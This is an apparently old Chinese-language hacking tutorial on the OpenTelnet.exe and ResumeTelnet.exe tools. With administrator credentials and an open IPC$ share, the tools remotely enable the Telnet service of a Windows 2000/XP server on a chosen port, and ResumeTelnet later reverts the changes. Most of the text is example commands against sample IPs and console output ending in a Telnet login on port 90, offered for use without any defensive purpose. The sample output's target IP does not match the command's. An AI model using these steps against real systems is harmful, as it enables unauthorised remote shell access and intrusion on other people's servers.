既然微软自己有TELNET,那么就利用起来嘛。
这两个工具OpenTelnet.exe是用来启动远程服务器的Telnet的,Resumetelnet.exe是用来把修正了的配置都返回到默认配置上去,关闭Telnet服务等。
应用这两个程序,你必须先获得管理员密码和帐号,同时服务器开放IPC$共享。只能对WIN2K(XP)应用,NT,没测试过。
先说明
0: 不应用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证。如果失败,再应用用户名和密码。
2: 只应用 NTLM 身份验证。
---------------------------------------------------------------------------
Opentelnet.exe的用法:
OpenTelnet.exe \\server <帐号> <密码>
比如下面的:
C:\>OpenTelnet.exe \\192.168.1.2 administrator 123456 1 90
*******************************************************
Remote Telnet Configure, by refdom
Email: refdom@263.net
M:\TestProjects\OpenTelnet\Release\OpenTelnet.exe
Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
*******************************************************
Connecting \\192.168.21.131...Successfully!
NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2TelnetPort=23
Starting telnet service...
telnet service is started successfully! telnet service is running!
BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
Disconnecting server...Successfully!
这样,我们就能够得到一个开90端口的Telnet服务器了。
Telnet 192.168.1.2 90
这样就可以登录上去了。
---------------------------------------------------------------------------
ResumeTelnet.exe,是用来恢复Telnet配置的,并关闭Telnet服务器,它的用法:
ResumeTelnet.exe \\ip <帐号> <密码>
例如:
C:\>ResumeTelnet.exe \\192.168.21.2 administrator 123456
*******************************************************
Resume Remote Telnet Config, by refdom
Email: refdom@263.net
M:\TestProjects\ResumeTelnet\Debug\ResumeTelnet.exe
Usage:ResumeTelnet.exe \\server username password
*******************************************************
Connecting \\192.168.21.131...Successfully!
Stopping telnet service ...
Telnet service is stopped successfully!
BINGLE!!!
The config of remote telnet server is resumed!
Disconnecting server...Successfully!